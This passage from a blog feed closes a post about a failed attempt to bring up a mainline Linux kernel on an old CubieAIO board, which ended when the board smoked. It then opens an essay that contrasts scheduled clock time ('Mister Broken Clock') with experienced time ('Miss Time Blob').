the LCD panel was equally lifeless. My only interaction points were UART and a USB keyboard&#8212;no framebuffer output, no X, no console. That&#8217;s when I realized the graphics stack was actually disabled in my kernel config. It wasn&#8217;t even <em>trying</em> to light up the display. So I recompiled the kernel with the necessary graphics options enabled, put all the pieces back together, and prepared for the moment of truth&#8212;finally seeing something on HDMI or the LCD.</p><p>I powered it on. And then&#8212;smoke. A thin, unmistakable wisp, curling up from the board. My stomach dropped. I killed power instantly, heart racing. No obvious scorch marks, no melted traces&#8212;just that acrid smell.</p><h1>The end of the road</h1><p>Still hoping it might have been some transient glitch, I decided to boot the original Linaro image&#8212;maybe my kernel tweaks were somehow overdriving something. I powered it on again. This time, within a second, more smoke. That was it. Game over.</p><p>With no soldering and electronics repair skills, and knowing that hiring a shop to diagnose and fix it would cost more than the board&#8217;s worth, the decision was made for me. Even if I replaced it, there&#8217;d be no reason to buy an ancient, unsupported platform again. A newer board would make far more sense for the smart home controller I&#8217;d been building toward.</p><p>So the CubieAIO project ends here&#8212;not in success, but in a smoking crater of lessons learned. Still, it wasn&#8217;t a waste. The deep dive into U-Boot, DTS porting, DRAM tuning, and kernel bring-up taught me more than I expected, and every scrap of work I did will be open-sourced <a href="https://github.com/danielonsecurity">on my GitHub</a> for anyone who wants to continue where I left off (after I clean up some stuff to make it open source). It might have died on my desk, but maybe it&#8217;ll live on in someone else&#8217;s hands.</p><p><em>I set out to bring Linux back from the dead. Instead, I gave this board the most metal funeral imaginable: death by mainline kernel. Rest in peace, CubieAIO. Your sacrifice taught me more than success ever could.</em></p><blockquote><p><strong>Theories on the Smoke</strong>: That first wisp from the power region suggests a <strong>voltage regulator (PMIC) or capacitor failure</strong> &#8211; possibly aged components stressed by my DRAM/GPU initialization. When smoke later poured from beneath the Einstein module, it pointed to <strong>hidden damage under the SoC</strong> or PCB layers. I see no visible burns. That&#8217;s classic for <strong>short-circuited internal traces</strong> or a <strong>fried power plane</strong> &#8211; flaws only microscopes or multimeters catch. If I had to bet: <strong>decade-old capacitors</strong> finally gave out when the mainline kernel enabled power-hungry subsystems. <em>But I don&#8217;t know for sure &#8211; and that&#8217;s the haunting beauty of resurrecting the dead.</em></p></blockquote><blockquote><p><strong>P.S.</strong> If you have any suggestions or ideas on what I could do next with this device or the project, please drop a comment below. For now, I&#8217;m keeping it as a trophy&#8212;a reminder of the board I literally fried while pushing its limits. But who knows? Maybe there&#8217;s still some resurrection left in it. I&#8217;d love to hear your thoughts.</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Chapter 1: Time is spaghetti]]></title><description><![CDATA[Why the clock you trust might be gaslighting you.]]></description><link>https://blog.neagaru.com/p/chapter-1-time-is-spaghetti</link><guid isPermaLink="false">https://blog.neagaru.com/p/chapter-1-time-is-spaghetti</guid><dc:creator><![CDATA[Daniel Neagaru]]></dc:creator><pubDate>Fri, 27 Jun 2025 15:22:43 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!W2tS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>Time is the most powerful force in your life.<br>You just don&#8217;t know <strong>what</strong> it is.</p></blockquote><p>Every decision you make, every plan you abandon, every habit you form &#8212; it all dances to the rhythm of something we barely understand but pretend to control.</p><p>We wrap it in clocks.<br>We slice it into meetings.<br>We download apps to help us "manage" it.</p><p>And somehow, it still slips through our fingers like digital sand.<br>We&#8217;re surrounded by <strong>tools</strong> that claim to help us master time &#8212; calendars, alarms, routines, productivity apps with pastel gradients and judgmental push notifications.</p><p>But here&#8217;s a secret:</p><blockquote><p><strong>None of them actually model time.</strong><br>They model <strong>obedience to time</strong>.</p></blockquote><div><hr></div><p>What if time isn&#8217;t a ruler, but a shapeshifter?<br>What if your sense of time is more like a weather pattern than a train schedule?<br>What if "9:00 AM" is a superstition we keep repeating because we forgot how we got here?</p><div><hr></div><p>Let&#8217;s rewind.</p><p>Back before calendars, clocks, schedules, and TODO apps.<br>Before "morning meetings" and "Friday deadlines" and "three-minute meditation breaks."</p><p>Back when time looked like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!W2tS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!W2tS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!W2tS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!W2tS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!W2tS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!W2tS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png" width="1404" height="1872" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:184593,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166549098?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!W2tS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!W2tS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!W2tS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!W2tS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6c7b2ed-70f3-436a-9d61-c5333eb88d92_1404x1872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>That&#8217;s how it began. </em>Time wasn&#8217;t something we controlled. It was something we <em>observed.</em></figcaption></figure></div><p></p><h1>Mister Broken Clock</h1><p>We didn&#8217;t always treat time like this.</p><p>Once, time was relational &#8212; anchored to the movement of the sun, the rhythm of nature, the timing of crops, bodies, seasons, stories. It was fluid. Contextual. Circular. Alive.</p><p>But something changed.</p><p>We invented machines. We industrialized labor. We built schools and schedules and train timetables.<br>And we began to <strong>treat time like a machine, too.</strong></p><p>A uniform substance.<br>A sequence of standardized units.<br>A tool to be <strong>measured</strong>, <strong>allocated</strong>, and <strong>controlled</strong>.</p><blockquote><p><strong>This is the worldview I want to talk about &#8212; the dominant concept of time in modern life.</strong></p></blockquote><p>It's the one that says:</p><ul><li><p>You're &#8220;wasting time&#8221; if you're not producing.</p></li><li><p>If it's not on your calendar, it doesn't exist.</p></li><li><p>There&#8217;s a "right" time to wake up, eat, work, rest, create, socialize.</p></li><li><p>Time flows in one direction, one speed, and one shape: <strong>the grid.</strong></p></li></ul><p>It&#8217;s the worldview baked into:</p><ul><li><p>Alarm clocks</p></li><li><p>Productivity tools</p></li><li><p>School bells</p></li><li><p>Factory shifts</p></li><li><p>Meeting invites</p></li><li><p>Burnout culture</p></li></ul><div><hr></div><p>It&#8217;s so common, so deeply normalized, that we barely notice it.</p><p>But the damage it does is everywhere.</p><p>It compresses our attention.<br>It flattens our inner rhythms.<br>It punishes spontaneity and complexity.<br>And it turns the infinite weirdness of life into a series of rigid boxes.</p><div><hr></div><p>This worldview deserves a name.<br>Better yet, a face.</p><p>So for the rest of this story, I&#8217;ll call it:</p><p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6bB4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6bB4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!6bB4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!6bB4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!6bB4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6bB4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png" width="1404" height="1872" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:259753,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166549098?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6bB4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!6bB4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!6bB4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!6bB4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd66ec42-bece-446f-a529-d257e0b289b3_1404x1872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><strong>Mister Broken Clock </strong>(<em>Or Mr. BC, for short.</em>)</figcaption></figure></div><p><br>He&#8217;s not a villain, exactly.<br>He just embodies the belief that time is something external, objective, and mechanical &#8212; something that you must obey.</p><p>The moment you internalize his worldview, you start:</p><ul><li><p>Measuring your worth in hours and output.</p></li><li><p>Scheduling your life around artificial constraints.</p></li><li><p>Blaming yourself for failing to fit into a system that was never designed for humans in the first place.</p></li></ul><p>Mr. BC is everywhere.<br>And for a while, I listened to him.</p><p>But deep down, I knew something was wrong.</p><blockquote><p>Because life doesn&#8217;t move like a clock.<br>It pulses. It flows. It <strong>emerges</strong>.</p></blockquote><p>And somewhere in that mess... is something else.<br>Something strange. Quiet. Almost sacred.</p><h1>Miss Time Blob</h1><p>If <strong>Mr. Broken Clock</strong> is the system that tells you when to wake, when to work, when to eat, and when to &#8220;relax&#8221; &#8212; all on schedule &#8212;<br>then <strong>Ms. Time Blob</strong> is what happens <em>between</em> all that.</p><p>She doesn&#8217;t care about 9:00 AM.<br>She doesn&#8217;t know what &#8220;late&#8221; means.<br>She never wears a watch.<br>She never speaks.</p><blockquote><p>She just watches.</p></blockquote><div><hr></div><p>Where Mr. Broken Clock slices your life into clean, rectangular time blocks,<br><strong>Ms. Time Blob flows.</strong></p><p>She expands and contracts.<br>She dilates during heartbreak.<br>She blinks past during flow states.<br>She slows down when you're waiting for test results.<br>She disappears entirely when you're in love.</p><p>She is time as <strong>experienced</strong>, not as <strong>scheduled</strong>.</p><div><hr></div><p>You already know her, even if you never named her.</p><ul><li><p>That weird feeling when an hour passes in five minutes.</p></li><li><p>That sense that &#8220;it&#8217;s not time yet,&#8221; even though the clock says otherwise.</p></li><li><p>The strange inner rhythm you follow when you're really listening to yourself.</p></li></ul><p>We don&#8217;t measure her.<br>We <strong>feel</strong> her.</p><div><hr></div><p>But here&#8217;s the thing:</p><blockquote><p>She&#8217;s <em>always</em> present.<br>Even if you don&#8217;t notice.<br>Even if you&#8217;re ignoring her.<br>Even when Mr. Broken Clock is screaming into your calendar.</p></blockquote><div><hr></div><p>She doesn&#8217;t intervene.<br>She doesn&#8217;t correct you.<br>She doesn&#8217;t give you advice or feedback.<br>She doesn&#8217;t care if you&#8217;re &#8220;on time.&#8221;</p><blockquote><p>She just <em>is</em>.</p></blockquote><div><hr></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!I3tV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!I3tV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!I3tV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!I3tV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!I3tV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!I3tV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png" width="1404" height="1872" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:278146,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166549098?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!I3tV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!I3tV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!I3tV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!I3tV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F357d036d-31cd-47b6-88c8-35622b50854e_1404x1872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Miss Time Blob (or Ms. TB for short)</figcaption></figure></div><p>And as for her shape?</p><p>We don&#8217;t know.</p><p>She&#8217;s not a line.<br>She&#8217;s not a grid.<br>She&#8217;s not a countdown or a bullet point.</p><p>She&#8217;s not a &#8220;thing&#8221; at all &#8212; just a feeling, a blur, a hum, a pull in some direction we can&#8217;t yet articulate.</p><p>That&#8217;s why I call her <strong>a Blob</strong>.</p><p>Not because she&#8217;s vague,<br>but because she&#8217;s <strong>unresolved</strong>.</p><p>A presence we don&#8217;t yet understand.<br>A phenomenon we haven&#8217;t learned how to model.</p><p>Not a god. Not a tool.<br>Just&#8230; something real.<br>Waiting to be discovered.</p><h1>Mr. BC vs Ms. TB</h1><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CcW_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CcW_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!CcW_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!CcW_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!CcW_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CcW_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png" width="1404" height="1872" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/217fa291-a249-4de4-abee-097731046583_1404x1872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1872,&quot;width&quot;:1404,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:299741,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://neagaru.substack.com/i/166549098?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CcW_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 424w, https://substackcdn.com/image/fetch/$s_!CcW_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 848w, https://substackcdn.com/image/fetch/$s_!CcW_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 1272w, https://substackcdn.com/image/fetch/$s_!CcW_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F217fa291-a249-4de4-abee-097731046583_1404x1872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide 